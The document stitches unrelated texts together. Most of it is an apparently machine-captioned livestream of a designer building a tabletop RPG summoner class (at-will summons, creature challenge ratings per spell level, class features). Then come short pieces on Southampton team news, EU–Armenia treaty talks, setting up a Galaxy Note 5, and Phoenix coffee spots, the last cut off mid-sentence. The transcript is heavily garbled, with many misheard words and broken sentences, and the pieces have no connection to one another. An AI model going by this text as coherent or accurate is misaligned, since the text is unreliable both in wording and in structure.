that’s a win I  think there are players up there who if  we can make this work would say finally  I can play the character I always want  to play I get to play the character who  has pets and as someone who has two dogs  and four cats I can understand that you  like I mean pets around unless they wake  up at both like 3:00 a.m. and 5:30 a.m.  to be let out so much but that might be  them kind of trying to tell you  something and that might be our older  dog and happy that we have a puppy in  the house so used to getting older but  still a puppy so yeah so this is really  where you’re seeing the tension come in  and I feel pretty confident that we we  were cautious here and I think that  caution was warranted I would stand by  that decision I think if we went back to  2013 and whatever revised this we would  revise it because we learn things since  then not because there’s really any  insight that we just flat-out missed  when this sort of thing goes wrong it  goes wrong in a way that makes the DM at  least really irritated because I have  played in the campaign with the broken  summoning with somebody something that  felt broken and in this specific case  Elvis find it has something that just  felt like ridiculous and it was doing  things that felt far beyond what you’d  expect from the character to do I had a  friend of mine who would use multiple  summonings to like summon just hoards of  low CR creatures and just have them all  use the help action and third edition if  I remember right the help action stacked  or it was like the hinder action stacked  so there’s just ridiculous you know but  it was a good example like a low-level  spell that was producing like +10 attack  bonuses which  third edition were great because then  your your iterative attacks we’ve got  multiple attacks in third edition your  attack bonus went down dramatically so  getting a big bonus was huge it meant  you were going from hitting one and a  half times per round to like hitting all  three times with your attacks so it  could be really big the all right so  yeah I know a frog wheeler a Wyson a  character to scout when you have  disposable NPCs another good example  right that comes into the action sort of  thing I have more actions I have actions  I don’t mind sending out to die I were  playing a game with a druid who was  summoning animals and sending them down  to trigger traps and a tumor in which  was just sort of hilarious I am the  guardian of nature animals I love you  plants come to me I will I will take  care of you protect you accept you fight  Oh run down that hallway and let me know  if anything jumps out and stabs you so  again that gets back to this idea of  putting the bet penalty on it you know  this idea that if it’s free summoning I  want to throw a some sort of I wanted in  your resources in some way because I  want to avoid hey I have this guy get  some time at well someone him and have  him run down the hallway to trigger  traps we have them open doors we have  them you know there’s a switch maybe we  should pull it well let’s have a summon  creature do it right and then you don’t  want to deal with coming up all these  weird rules like this creature can  attack but it can’t pull a lever and  they can’t walk down a hall and whatever  right it when you when the restrictions  on an ability start to be the bulk of  its rules that to me is like you’re  doing something very wrong you either  you’re doing something just by its  nature just isn’t gonna work it’s gonna  be disrupting the game or you’re doing  something in a way that really what you  want to do is just penalize people in  some way for abusing it so just make  that as simple and direct and obvious as  possible  because players will always find ways to  get around like very specific drawbacks  but it’s harder to get around like look  II just taking damage if you can get it  you’ve been getting around taking damage  then that’s great you’re gonna win you  know in a lot of fights the so John  Herzog artists are their penalties for  letting the imaginary-friend die then  read something later I don’t I’m not  crazy about X I do like the idea that  this is something that’s here for me and  what I think I might do is this all  right so are at will summoning  here’s the mean version so I’m gonna do  like I’ll do like version one but it  takes damage you take that damage now I  don’t want to do this because we have a  d6 class then I mean like well I need to  give you more hit points well now I have  you the entire dat separate pool eight  points maybe you’re tracking where so I  don’t wanna deal with that it’s that  what I wanted what I would like to say  is when it is destroyed you take some  damage and lose maybe your focus for  around I think I want I kind of do both  so it’s not just gonna come back so  you’re gonna yeah I think actually yeah  so I want to lose your focus which means  in your concentration in focus so you’re  not gonna be cavalier about it if you’re  in a situation though where you do want  to look I’m mission to sacrifice my  summon character and this is at will not  the other ones we’ll get to those in a  sec I think that it’s open what I like  about this is that you can decide  tactically okay I’m gonna take this hit  because I do need to keep the goblins in  the room where I want to block the door  and you know I’m gonna take a drawback  here but it is gonna be useful to keep  these guys out um let’s see Oh Morey I  think it’s what you the greens a little  hard to read what it was xx damage I  like the overkill it feels a little  fiddly to me I think I’d rather just  make it a flat number so I don’t have in  a situation where well they’re goblins  only doing like say 1 d6 + 3 damage and  I’m like the higher level I don’t care  if these guys keep killing my summon as  opposed to I’m really worried if the  dragon kills it I’d rather just know  that there’s just a flat a flat thing so  we’re not like this weird scaling thing  taking effect where some things are  really nervous about attacking your  summons and others you’re not so I just  specify that the and I think looking at  its benefits I’m probably gonna go say  that you’re at will summon as a baseline  is that the app will summon is a Buddist  is a CR at 1/4 creature  now what I mean by that is we’re gonna  figure out either pull staff locks I’m  not gonna go to any step locks today I’m  just gonna use I’m just knees challenge  as our as our baseline so the so that’s  basically our entire thing here you know  a CR 1/4 creature you and you have to  spend your action to make it it’s been  it’s action essentially what we’ve done  is we’ve created a can trip what I  imagine using this can trip will be a  bonus action so I can summon it in and  then have it attack somebody or I can  have it do something well also gonna do  is try to restrict range she’s gonna say  10 feet or even adjacent I don’t want  this to be like hey there’s a chasm and  there’s something on the side we need I  will summon and my guy shows up and does  something know again I want you to spend  a resource for that I have to spend a  spell slot or spell points or whatever  it is because again if it’s at will at  will things DMS have a higher high  allergy to real good utility net will  because it just distorts the entire  design process of your adventures so so  yeah so I think we want to restrict  range I’m sure this is a great example  playtesting will start revealing other  things that’ll come up all right so then  let’s just do a very simple thing here  I’m gonna delete this because I don’t  really care not that I don’t care but  it’s just yeah and what I want to do is  look at what my level so if I know level  0 is see our 1/4 essentially can’t rip  I’m just gonna this is like this is  where we start getting into like rough  justice right we have a spell system  here that is trying to do summoning but  is maybe not pulling its full weight in  terms of what people want I am pretty  much committed to saying I don’t want  you to summon multiple creatures unless  I want to handcraft that I don’t want to  make it as a look at the spells what  they’re doing is they’re giving you this  sort of progression that here  let me I’ll show it to you we’ll take a  look at one right this progression of  the number of creatures is going to end  up with things that you’re unhappy with  as a DM because there’s no way that  under conjure animals or any of them  like okay  be really fast contra elementals that we  can really consistently say that hey  eight one-quarter challenge rating  things are equivalent to one two yeah  they’re tax and damage might be but as  soon as I have a spell on her ability  resting here eight of those is just  better than one and I’m sure right now  if I just did a search for monsters I  can find an example here so let’s go to  elementals there might not even be a one  eighth LCR elemental how do we got some  right here yes let’s get the mud method  and then Mitch it’s got some sort of  special ability a mud breath so it can  restrain creatures now eight guys who  can show up and restrain you so  basically means every round I’m  restraining a lot of creatures for a  long time so this just really kind of  breaks down that idea of like the swarm  summoning because we’re not gonna say  our elementals don’t get abilities and  this is what kind of makes them fun so  I’m gonna be pretty focused on just  doing this a one-for-one the so so let’s  go through and now going to assist do  some rough justice here so this is gonna  be spell level so I’m just gonna go  through and add my to hear three four  five six seven eight nine and I’m just  gonna sort of back the envelope what I  think oh my god my computer froze this  has been my thing today my my outlook  just was like weirdly frozen I thought I  broke it and an email is trying to  respond to and oh no there we go  I’m not in trouble 99 oh well that’s  that’s now the new feature here right we  did d-104 like the commoner so now the  the the shaper gets how it’s getting  really slow okay check in and just send  all my data to the NSA make sure they  have it all right so we send a level  let’s see it’s never forgotten what does  the  let’s go back here it’s back in again to  our spells so we set here under conjure  animals cr2 is a third little spell  should make sure had that right so I’m  just gonna arbitrarily say that that’s  gonna be one and arbitrarily say that’s  half and I’m just gonna again equally  arbitrarily just increase this by one no  I don’t think this is actually going to  work but it’s it’s a handy enough  starting point this is also case now  what I would probably do in play test is  just come up with some generic stat  blocks they’ll just get across this  damage armor class and hit points I can  finesse this later but this is what I’m  basically going to look at use if you  spend a spell slot of this level you get  this step this corresponding stop lock  to give you it now let’s take let’s do a  quick reality check here to give you a  sense let’s take a look at some CRE  creatures and what I want is a CR eight  beast because as I mentioned before  beasts tend to be very simple so let’s  go to monsters official and let’s go to  beasts you know let’s just look at all  the challenge unless is the Billy know  there should be a lot of cluttered so  let’s just do challenge rating eight  like a look all right so we’re saying a  t-rex with a knight the whole spell 136  hit points a C’s pretty lame it’s gonna  get hit pretty quickly it’s got one bite  in one tail this is I don’t know if its  restriction carries any real bite but  we’ll see +10 433 you can grapple +10  420 so seven hinges to the seventeenth  level getting this that feels probably  weak so I probably need to boost that up  a bit  let’s take a look at what did I am I  sort of totally fake math give a game of  CR for for a level 5 spell so that’s a  9th bubble so let’s take a look what  that creature looks like  let’s see how what the damage is there  and I just can I just want a bruiser  whoa okay yeah okay elephant okay it  doesn’t get any more comp case guy is AC  1276 hitpoints yeah I don’t think I  think this actually feels pretty for a  fifth level caster this is my big  creature I get getting seventy six extra  hip points it’s nice and that’s nice  durability +8 419 it’s got this  traveling charge ability DC 12 though so  I’m not too worried most creatures in  let’s take a look at uh there’s a giant  subterranean lizard simpler  it’s the AC 1466 hitpoints one bite in  one tail okay Gordon one of my kids oh  it’s so so plus 7 for 16 + plus 7 for 12  one target not crapple by the lizard  that’s kind of funny it’s very specific  lizard grab me grapple me now you can  hit me with the tail oh that you can  swallow me in that pain alright so that  that this feels reasonable so let’s take  a quick thing here a very rough estimate  of what this matches up if this is a  fighter say typical fighters probably to  have + 2 hit points per hit die and  beginning about 8 hit points per level  so this is actually pretty good  avian +3 so let’s say 9 so level you  know if the fighter the party probably  has 80 to 90 to make a point so I’m not  overshadowing the fighter but that’s  still pretty good the cleric and the  party probably has about let’s say again  this is 9th level so 60 something sacred  cleric and roguish hit points the art  class is really the hard thing here most  beats up pretty lame armor classes  oh it’s also huge my phone is ringing I  thought it told it – wow that’s pretty  funny sorry but it’s the first time  that’s happened but it is four months  it’s the first time someone’s actually  tried calling me I put on do not disturb  the this is an easy thing to overlook  this is huge so ok that’s not actually  this is really good at locking down a  big air of the battlefield ok so I feel  actually that’s pretty good this guy’s  gonna really tank up and he’s gonna dish  out some ok hits I mean here’s his other  main thing he’s only a plus 7 to hit our  party members at 9th level are probably  to be around probably I think nine or  ten maybe ish around there depending up  the up magic items and stuff but this is  yeah someone’s trying to summon you  through your phone true enough of our  serious the this is a good example of  I’m getting a text to my wife can’t find  her computer I have no idea where it is  the so she’s texting me now to the can  this wait 17 minutes actually it can’t  chat I can talk while I do this because  I’m gonna tell her I think it’s on the  couch so but what we’re seeing here is  what we’re getting for summoning is a  really big huge creatures great that’s a  three by three grid that’s like nine  size medium creatures so I feel pretty  good you know so I want to pay attention  to like the the opto level ten beyond  that I think we just need to get the  numbers right but this feels pretty good  for a fifth level spell slot to get a  challenge for creature  yeah I’m not offended by it the I’m just  gonna put a little like – they’re here  just let me know that I need to verify  below oh and even Kyle and I’m gonna  tell her because she probably needs it  for work  anyway I’m probably be getting other  things I am gonna have to go silent you  guys get to watch me texts okay anyway  it’s very it’s like this week we have a  holiday here and if you’re not if not in  the States  12th of July is tomorrow it’s a  Wednesday it basically it’s like two  working weekends back to it’s very  strange  this entire week feels very splintered  all right so hey I have to be mortified  if she knew she was on stream okay so  here’s our basic thing now this may  sound like we haven’t got a lot done we  got actually had a ton done because  here’s what we’ve done all I want to get  to say is I can add will summon we’ve  got some basic parameters for that then  if I put a spell slot into this I up gun  my summon creature and then I can drop  these restrictions right so I’m not  gonna say like you know I’m just gonna  say lose these with a spell slide I  think we’re gonna put the note here is  uh stays where so that’s it this is like  our first big step forward so then  because I was thinking about this in  terms of what the SONA CR to bard the  seven bards ever just runs away in  horror the so the main thing here is  that we kind of have a rough outline for  our creatures are gonna look like what I  think I will do is rather than say hey  go into the monster menu I’ll put a snap  lock I think because this thing is  constructed I’m we’re gonna give you  stat blocks that you will use I think  it’ll be faster to reference plus when  we go to the next thing because I think  some names gonna really show off the  basically the idea of augmenting  abilities the what I want to do is I  want to know if I have and we know about  some right here cause fear increase  image extra actions like they’re just  you know buffs in general we can give  these things I want to know the  destination and that’s one of the  trickiest things in role-playing game  design with a system that is allowing  for more character customization is if  you take something you want to know  where is it going  as an example imagine  have an ability that says whenever I  roll my damage dice if I roll the  highest damage die I get to roll another  die whatever it could do that once it’s  very simple stuff but but you thinking  okay that usually means one extra die oh  wait what about if someone has a 2d six  damage sword yeah the great sort how  does that work you know and if you’re  gonna say well we treat each die  separately that ability is much more  useful for someone with a great sword  than it is for someone let’s say a great  axe where the great axe is gonna get an  extra die of one and twelve yeah  exploding die Zack may right whereas  there’s a one in three chance for you  know I have one in six chance normally  of that happening in a six signer but  I’m willing to  so roughly I’m getting twice as many  chances  one out of three top rounds I’m doing an  extra d6 and then there’s you know one  out of 36 issue runs that I’m getting  extra to d6 right so it’s just that’s an  area where knowing the destination  really gives me a real sense of the the  power this thing’s going to be so that’s  why rather than have you go to the  Monster Manual I want you going to these  kind of pre-built stat blocks it makes  it clear what’s gonna happen these these  stab blocks can be kept very simple and  utilitarian and then we can kind of get  a sense of what does it mean like to  increase your AC things like that I kind  of know what AC is a great example a +5  bonus to AC if your AC is like 11 and 12  and that’s good but for AC is already 20  you know you might be shifting your  bonus up your AC up to the point where  monsters need to start rolling just 20s  to hit you right look the elephant or  whatever was it was a +7 so I mean it’s  obviously a bonus Tacey is always great  but you don’t want to end up with  frustration of just like the creatures  just can’t hit this guy because we push  the AC too high that’s kind of why we  have the sort of this idea of keeping  hackers seeing bonuses narrow so then  let’s do a quick thing what I want to do  is cause fear and other emotions I want  to be let’s say hey I’m gonna give this  creature an aspect that makes it scary  Oh a dead in seconds shape your class  features I’m gonna get to that next  actually so what I wanted to do is bang  out what I wanted the spells to do  increase damage indeed this is just  general buffs either  do that extra actions I think that’s  another thing you could say I burned a  spell slot I could you gets to go again  or it’s a spell whatever it is and that  could even scale up so we have some  pretty obvious things we want to do oh  and then we could offset up augment and  other ways no utility comes to mount  flies skills or detection abilities this  is a lot of stuff we can give it here by  essentially having targeted buff spells  that augment my guy so what do we want  to do for the shapers clients features  well what I thought would be kind of  interesting was the I’m just gonna copy  and paste the Nomad here because this is  fully new just you know we’re gonna do  here right everyone’s favorite word  that’s it bonus disciplines that’s just  become a basic thing so we can give you  two extra shaper disciplines and so what  I like to do think between the Scion who  focuses on shaping and the creature they  actually shape or the thing they  actually shape so I thought about like  maybe like like someone mentioned doing  sane you get some like some spell slots  just for augments only the abhorson I’m  a little worried about that because  that’s just a very clear power up over  what other characters are getting a way  to think of it is what that what that  was that you do is I can use my spell  slots to augment my thing and I’m gonna  use my other spells on top of it even if  you’re specific about those bonus spell  slots it’s still just opening up your  bandwidth overall so what I want to try  to do is give you things that improve  the relationship between you and the  creature so and again things that  wouldn’t just be spells so a very simple  thing to do  Chicanos augment and shaping and I like  things that are simple indirect so at  first level your summon features gain  advantage on attacks against pictures  within this might not be the best thing  but this is kind of direction where I  want to go because what I’d like to do  here and work on here is this idea that  I can kind of combo up with Mike and my  creature especially by summon one that’s  doing its own thing now 10-feet might be  too close so an alternate might be pick  a target how can they say get them and  my guy is really good at getting that  guy well that might be need a cool-down  a another thing we could do is this sort  of free buff the rather than say hey  like here’s some extra small slots  cheese’s you want which but I think  maybe we can do basically when you  summon it  you just get a free benefit so so maybe  you can like increase max HP grants some  extra game I don’t wanna do get some  extra damage because that’s just makes  your firepower better yeah so I think  you can increase max HP you could also  like share your skill proficiencies so  if you can do something you can do  something so that might be kind of  useful to I can actually kind of like  that the the divination spells load  though those degrade that is a good  point the important the I think what  were you’re seeing there is since  they’re degrading what it’s saying is  these spells might not have the impact  that say a fireball would have we’re  incentivizing you to use really  high-level spells for what’s really in  character for you knowing that he was a  player don’t and aren’t necessarily  losing out on firepower that you could  use later on the but I can’t remember if  well I’ll live it up later cantide it  doesn’t it says only when you use the  divination spell you get as a lower  level slot back right you don’t have to  it doesn’t say then you’re locked into  using it the rest but anyways the but  yeah it’s definitely a it’s a tricky  thing I’d rather just do it by giving  you just the benefit because again you  also now you want you know what’s going  on you know that  donation you know the benefit you know  where it’s going so I think it’s  augmenting your summons in some simple  ways let’s see  another thing we could let you do is at  six level you get additional reaction  you know I’m gonna throw this because I  think this is interesting  let’s say you can grant oh no I have  seen additional actions as a spell  ability you know what I don’t know if it  that’s actually works and here’s why if  you were last week I talked about how  like in in games that like magic be an  example or any game where the hey I put  a creature into play at a cost there is  invariably a Kevin effect that says I  get to kill any creature for a much  lower cost a potentially much lower cost  they might only cost two or three  resources opposed to like up to like  infinite for a creature the tree thing  with saying hey my creature gets an  extra action is that skills kind of it  does not necessary scale well because we  think of the haste spell and use the hey  spells an example I thought he’s from a  character he’s very specifically says  you get one extra attack there because  we know a lot of the melee characters  they’re getting their benefits for  making multiple attacks now the Rogues  an exception that was my design though  we kind of felt like haste would be  something which throwing it on the rope  oh I’m sorry because that’s only during  your turn sorry did this so even the  rogue falls victim to that then I seen  what the rogue is if they’re getting an  extra attack if they missed and didn’t  get a chance to use sneak attack they  get to attack again and potentially  amount put it on so I think I’m gonna  strike the the spell effect of granting  extra attacks extra actions I’m gonna  strike that make that a class feature  because I think that’s something that I  don’t think scales well and class  features are a good place to put things  that don’t scale well because because of  this follow usually about the seed we’re  an extra action to a summing feature we  gain on long rest  so it’s pretty cool it’s very dramatic  but I can just say look you get it take  a long rest get this back you can’t just  say keep spamming it it’s a good way to  think of an ability that scaling  abilities often have to be balanced at  they’re their mightiest form which might  push something like this I copy to the  seventh level where you only get one of  those per day this lets me go you know  this is gonna scale so I can give it to  you low levels to I just need to make  sure you can only use it once per day  because it needs to behave like those  level 6 plus pills excuse me pardon me  all right let’s ping we got 5 minutes  but you know what it’s a weird holiday  weekend two days on one day off two days  on we’ll go a little late I don’t think  anyone something I’ll bust down the door  and yell at me if I’m going to late um  let’s see oh yeah this is so let’s see  so we’ve got that I’m just gonna just  put it on this action just be very  utilitarian here as I can remember it um  let’s see we’ve got our no man is  getting getting resistance weapon  attacks until the start of your next  turn after you teleport yeah let’s do  this let’s do another let’s do a reverse  reverse damage transference the 10th  level I’m gonna say when you take damage  reaction to have summon feature take all  or some and that’ll that’ll come out in  the wash so bonus extra bonus X Joe what  is it it’s tip bonus in its texture it’s  just double plus more good I don’t know  what it is could be a barrel of toxic  waste but there it is it’s more so I  kind of like the idea giving you a  little more durability you can do this  idea of these as your helpers this might  be one that gets swallowed up by spell  but I don’t think so I like this idea  that it’s there it’s constantly reaction  and especially if it’s a spell sloughing  if I use it to dump the damage back in  my aunt wheel guy then I have damaged  plane back to me again so it might have  to be but we’ll see I’m gonna put a  custom work there alright we have like  four minutes Pelham just step back in  you may have seen a walk behind me I  think about to get kicked off line so  let’s do a fourteenth double thing you  can Joe and this is oh let’s do  something here where well right now you  could summon two creatures because I’m  letting you concentrate twice oh how  would that work because we don’t let you  concentrate twice so it’s never in a  case we have to figure out what happens  my cast of concentration spell again so  you know what I think oh this is the  case oh this is easy well put it a  simple restriction but then we’ll lift  it double summons  so I think we’re gonna have to clear up  that and my impulsive to say you can’t  concentrate in the same spell twice  because I think that it’s going to lead  to shenanigans I can probably prove that  later if I have time but you can now  this and I’m gonna put a big note to  myself because that’s just one of the  things that I really thought about which  would be a big mess we didn’t consider  it that’s why we work this way to make  sure we consider these things can’t  concentrate on same spell points  question mark but I think that’d be a  very simple thing you’d feel very great  at that 14th you know you’ve got your  entire career now I can summon two guys  awesome so then I feel pretty good power  wise it is actually really good so I  think it probably has to sit at 14th I  think we want to say you can’t double  concentrate because flooding the board  with so many guys that’s really good too  huge creatures again if using nature’s  you’re locking down a ton of the board  space so and the rope I mean that for  the actual class feature which I don’t  know if I wrote let me take a quick look  at that did we put your sonic focus  today actually try to write that or did  I just put in the table okay so we are  saying sonic spells they’re not the same  one just throw it in there it’s probably  okay good so I don’t have to worry about  the other summoning spells coming in and  playing poorly with this I can wall  those off all right so we’re at two  o’clock this is a something that I  really doesn’t need some more deep  thinking now that rather than just die I  don’t want to end up on stream just  doing a lot of flailing around and I  felt like I was flailing around a little  more than I wanted want to when I’m  doing something live because there’s a  lot of like moving parts here so I think  it just needs some time to just kind of  kind of come bring everything together  really bake it for a while and then roll  it back out so let’s do neck next week  let’s do some monsters cause monsters I  think will be fun  and I think that it’ll be a bit more  coherent as we go across and I’ll give  me some time to really think about all  the implications because there’s  actually a lot of stuff that’s bubbling  up here this is a great example of a  design that seems reasonable and the  first play test may show that none of  works at all right because there’s a lot  of moving parts here so I think this  needs to go in the oven for a bit it’s  kind of like the Great British Bake Off  this is the part of the show where we  just show the bakers like nervously  waiting for like you know the 40 minutes  for their cake the so yeah maybe we’ll  wait like maybe give it a month or so  and I got a bunch of monsters I need to  design at mine interval campaign so  let’s let’s tackle those over a couple  weeks that can show you some nice range  of critters so fail are we’re getting  next you a next Monday I think we are  getting it next Monday because I know  we’re actually working on it now spoiler  that’s I was talking about a  player-character race so there might be  a player-character race and that you a  so don’t don’t don’t  be sure to race over to our website to  get you way the puns they’re painful  aren’t they they are or is it Tuesday a  camera what day you a is I just work on  it and it wanders off and then a bunch  of things to work on so anyways work two  o’clock thanks for tuning in ahh  next week we’ll do some monsters and I’m  gonna start working on this and let’s  see if we get a bit more of a stable  design here because we’re doing a lot  we’re juggling a lot of things at once  let’s let’s take a break and put get  everything lined up nice and neat and  then come back and look at this in  August  okay well take care everyone and I’ll  see you next week
-Mauricio Pellegrino has been overseeing Saints' penultimate training session today as preparation steps up for the Brighton clash, before speaking about the availability of his squad this afternoon.  The manager confirmed that summer signing Mario Lemina has been ruled out of the weekend's Premier League action, following an ankle injury sustained in training, with no time frame put on his return.  The rest of the squad has been given a clean bill of health, while Pellegrino is also considering the inclusion of young forward Sofiane Boufal after his match-winning contribution against West Brom.  "Mario Lemina is injured this week," the boss began. "He is the only player we'll lose this week."  "Sofiane is one possibility from the start, in the last two or three games he is playing well, even from the bench.  "I am happy with that, I want to improve the competition in the squad. Sofiane is a young lad and this action can give him more confidence to be better."
-The European Union and Armenia are close to concluding negotiations on a new agreement to deepen their political and economic ties, a senior EU diplomat said on Tuesday.  Piotr Switalski, the head of the EU Delegation in Armenia, told RFE/RL’s Armenian service (Azatutyun.am) that the two sides will hold another round of talks in Yerevan later this week. “These are the final moments of the negotiations,” he said.  The planned accord will serve as a substitute for an Association Agreement negotiated by Armenian and EU officials in the summer of 2013. President Serzh Sarkisian precluded its signing with his unexpected decision in September 2013 to seek Armenia’s accession a Russian-led alliance of ex-Soviet states.  The framework deal is expected to contain the main political and some economic provisions of the cancelled Association Agreement. But it will have no free trade-related component due to Armenia’s membership in the Eurasian Economic Union (EEU).  Switalski would not be drawn on possible dates for the signing of the new deal reflecting Yerevan’s desire to forge closer links with the West even after the 2013 U-turn. The diplomat did note, though, that an Armenian deputy foreign minister “was not far from the truth” when he said recently that it will likely be signed in the first quarter of this year.  Switalski said the two sides only need to agree on “several issues” relating to the Armenia-EU cooperation framework. He declined to disclose those issues, saying only that some of them will require a “political decision.”  Asked which side needs to make such a decision, he said: “It’s a process of mutual give and take. Nobody is talking about unilateral concessions.”  Sarkisian reaffirmed his government’s commitment to deepen ties with the EU when he met with the EU’s commissioner for European neighborhood policy, Johannes Hahn, in Yerevan in November.  According to Armenian government data, the EU accounted for almost 24 percent of Armenia’s foreign trade in January-November 2016, making the 28-nation bloc the country’s second most important trading partner after Russia.
-The Galaxy Note 5 and Galaxy S6 edge+ have the same setup process, which in itself isn't too far removed from what you'd encounter on a brand new Galaxy S6. Things have changed slightly, however, and Samsung has even added a couple steps to an already quite long setup process. We're going to show you all of the high points of setting up a Note 5 or S6 edge, and make sure that you get your new phone started the right way.  Wifi connection and End User License Agreement  Things kick off pretty easily — select the language for your phone, and turn on accessibility features from the first screen if you need them. Then you'll choose a Wifi network and sign into that — even if you have an active SIM in your phone, we recommend getting Wifi connected for when the phone starts syncing data in the later stages of setup. And then it wouldn't be a phone setup without a licensing agreement. Samsung pops up a basic EULA about the terms of using its software. By default the phone has a box checked to send diagnostic data about the phone back to Samsung for analysis — you can uncheck this if you don't wish to send that data. Tap Next to move on to more interesting things.  'Tap & Go' and your Google Account  Now that you have Wifi connected, this is where you can start really making the phone your own. Google introduced a new feature in Android 5.0 Lollipop called "Tap & Go" that lets you simply place a new phone back-to-back with your old Android phone and transfer your account information to the new phone via NFC and Bluetooth. That feature is the next thing you'll be greeted with, and it's a great way to switch to your new phone if you are coming from another Android. This will copy over the Google Account credentials from the old phone to the new one so you don't have to enter them manually. Depending on the security level of your account you may need to enter a password, but it's far easier than doing everything manually. Plus, it just feels kind of futuristic. If you're not coming from another Android phone or don't have your old phone available anymore, simply touch Skip and move on to the standard Google Account setup. You'll enter your primary Google Account (as in the one you use for Google Play and Gmail) name and password, as well as a two-step authentication code if you've turned that on for your account. If you have more than one Google account, enter the primary one you use for your data here, and you can always add additional accounts (Google or otherwise) in the phone settings later.  Restore your apps and agree to Google's services  Once your Google Account is entered, we go to another screen that's new for Lollipop devices. Google now lets you choose to restore apps and data from a specific device you have had connected to your Google Account, rather than just the most recent one. Tap the drop-down for "Restore from this backup" and select the phone you want to restore from — it's generally still hit-or-miss on which parts of the system will be restored, but expect things like Wifi network settings, sync options and wallpapers to make the jump. You can also select to restore the apps (but not app data) from that backup — choose "Also include" to select which apps (or no apps at all) to restore from that phone. If you'd prefer to start fresh with your new device — which is often advisable to avoid issues — you can instead choose "Set up as new device" from the top drop-down menu and select "Next." After you choose your restore options, it will then encourage you to set up a screen lock on your phone. It's a good idea to have one and if you have the time, you should set it up. Otherwise, you can (and should) add one later in the phone settings. You'll then face a screen where you now have to confirm you're aware of another licensing agreement and Google's service policies. The boxes for backing up your information privately to Google's servers is checked automatically, as is the box to use Google's location services — both generally make your phone experience better, and you can choose at any time to turn either one off if you change your mind.  Samsung Account and sync  Now it's Samsung's turn to get in on the account game — the next steps involve getting signed in to (or signed up for) your Samsung Account. If you've ever had a Samsung phone or tablet before you likely have a Samsung Account, which is used for syncing data in apps like S Health, Milk Music and the Galaxy Apps store. If you have the account, sign in with your user name and password here. If you don't have an account, we recommend just signing up for one here so it's out of the way and already into the phone for the times when you use Samsung's apps. The nice thing is that Samsung now lets you associate your Samsung Account with a Google Account, so you can use one set of credentials for both — little reason not to do it. And look, more licensing agreements! After signing into your Samsung Account, you'll be faced with more terms, conditions, policies and agreements. You can read through the terms with each link and select them as you go, or just tap the "I agree to all" option and get on with setup. After doing that, you'll be prompted to choose to back up your data now a second time to Samsung's servers. Chances are you won't need this if you're going with Google's backup service, and you really should choose to just do one or the other — our recommendation is that Google's the better way to go here.  Set wake-up command and scan fingerprint  The final two steps aren't really necessary for the function of your phone, but if you have the time it's good to just do them while they're in front of you. S Voice on the Galaxy Note 5 and S6 edge+ has a wake-up command option that lets you get the phone's attention and give it commands without ever touching the phone, and on this screen you can set that up. You choose the phrase — or you can go with "Hi Galaxy" as it suggests — and repeat it multiple times so that the phone knows how you'll be addressing it. Next is fingerprint scanning, which the phone can use to lock your phone simply but securely, and also use for authenticating in apps that support the sensor. The process is pretty simple — just follow the on-screen prompts to put a finger on the home button multiple times at varying angles to get a full scan of the finger. You only get to register one finger at first, but you can always go into the security settings of the phone to add more fingerprints, which you'll definitely want to do.  Choose to enable Easy Mode and KNOX  The last step to finish your setup is choosing whether you want to enable Easy Mode, and if you want to learn more about the KNOX security platform. Chances are Easy Mode isn't right for you if you're reading Android Central, as it really simplifies the home screen and phone experience, but if you're helping a less-experienced user get started with their phone this may be a good choice. KNOX is on the opposite end of the spectrum, as it helps lock down your sensitive data tight and separate it out from the rest of the phone so it's under an extra layer of security. You can learn about KNOX and see if it's right for you — chances are unless you're being required by a company to use it, you may find it overkill.  A few odds and ends to remember  There you go, you're onto the home screen and ready to enjoy your phone! If you're coming to the Note 5 or S6 edge+ from another Android, you may also notice a few different apps missing here. Because of changes in Google's agreements with smartphone makers you won't find apps like Play Newsstand, Play Movies, Google Keep or Google+ pre-installed anymore. Those apps haven't gone anywhere, and are still freely available in the Play Store — just open up that app and download any Google apps you're used to having but weren't installed by default. The same goes for some of Samsung's apps, which may need to be installed or updated right out of the box when you get your phone. Assuming you signed into your Samsung Account during setup, open up the Galaxy Apps store and download (or update) what you need there. And that's it! You're now ready to roll with your new Galaxy Note 5 or Galaxy S6 edge+.
-This is Spilling the Beans , where plugged-in baristas give us the lowdown on where to go, what to do, and what to eat (and drink) in their hometown.  Paul Haworth , director of coffee production at Cartel Coffee Lab in Arizona, has been working in the coffee industry “since last century,” starting in high school when he got a job at a coffee cart in Tuscon. His boss had flown over a roaster from Italy to teach them how to handle beans, and Haworth hasn’t turned back since. He met Cartel’s co-founder, Jason Silberschlag , in high school too. Now, many years later, Haworth knows everything about carne asada fries, tiki bars, and art farms—and it’s all in Phoenix and Tempe. When you get tired of the Grand Canyon, here are his picks.  Where should I stay?  I’d recommend the Clarendon . It’s a great little boutique hotel that’s very modern and affordable. I’d also say stay in an Airbnb in the Maple Ash Farmer Wilson area of Tempe that’s right next to ASU and our roastery. There’s a lot of culture there because the community is a mix of students and professors.  Courtesy of Matt's Big Breakfast  Where should I grab breakfast?  If you’re in Tempe, Essence Bakery . It’s a traditional French bakery with the most ridiculous scrambled eggs I’ve ever had in my life. There are two locations, but the original is in Tempe. In South Tempe, there’s also a place called Crêpe Bar , with an amazingly talented chef, savory and sweet crepes, and great coffee. If you’re in central Phoenix, I’d recommend Matt's Big Breakfast . It’s a lot of food, but it’s just delicious. You’ll never be hungry afterward. Get the breakfast potatoes.  Courtesy of FourTillFour  Where should I go for a great cup of coffee?  I’d definitely say Cartel , because I buy the coffee and obviously believe in it. Crêpe Bar also has a great coffee program; they use beans from Heart in Portland. I’d also recommend a place called Four Till Four in Scottsdale; it’s a Four Barrel account so you can get a little bit of San Francisco in this valley. Most people are multiroasters here but the other local roaster, besides us, is Press Coffee .  Where to go to see great art?  Check out Roosevelt Row . It was a bunch of houses that were turned into art galleries. There are a couple of coffee shops and restaurants there too. It has a crunchy feel to it, and it’s not really polished yet, but that’s where you can really get a feel for the local art scene.  Best food market to eat your way around?  This technically isn’t in Phoenix, but if you can drive 40 minutes, go to Barnone . There’s a guy named Joe Johnston and the farm he grew up on doesn’t exist as a farm anymore, but he’s converted it into an urbanized version of a farm. People call it Agritopia . They sell what grows there in their own marketplace, and they’ve turned the old barn into a makers’ space. He provides equipment and people make stuff there. One end has a wood-fired pizza oven. There’s a letterpress shop. And a brewery has a presence there. I think it’s one of the coolest things in the valley.  Courtesy of Pizzicletta  Hottest new restaurants?  Definitely check out Chris Bianco’s restaurants. He’s a local celebrity here. Pizzeria Bianco is still my personal favorite, but people really love Tratto , which is his newest one that serves house-made pasta. Another one I’d recommend is FnB in Scottsdale. The level of hospitality and the things they do with vegetables—really creative. I also love Virtù , for its cocktail program and its food. If you want to go to a 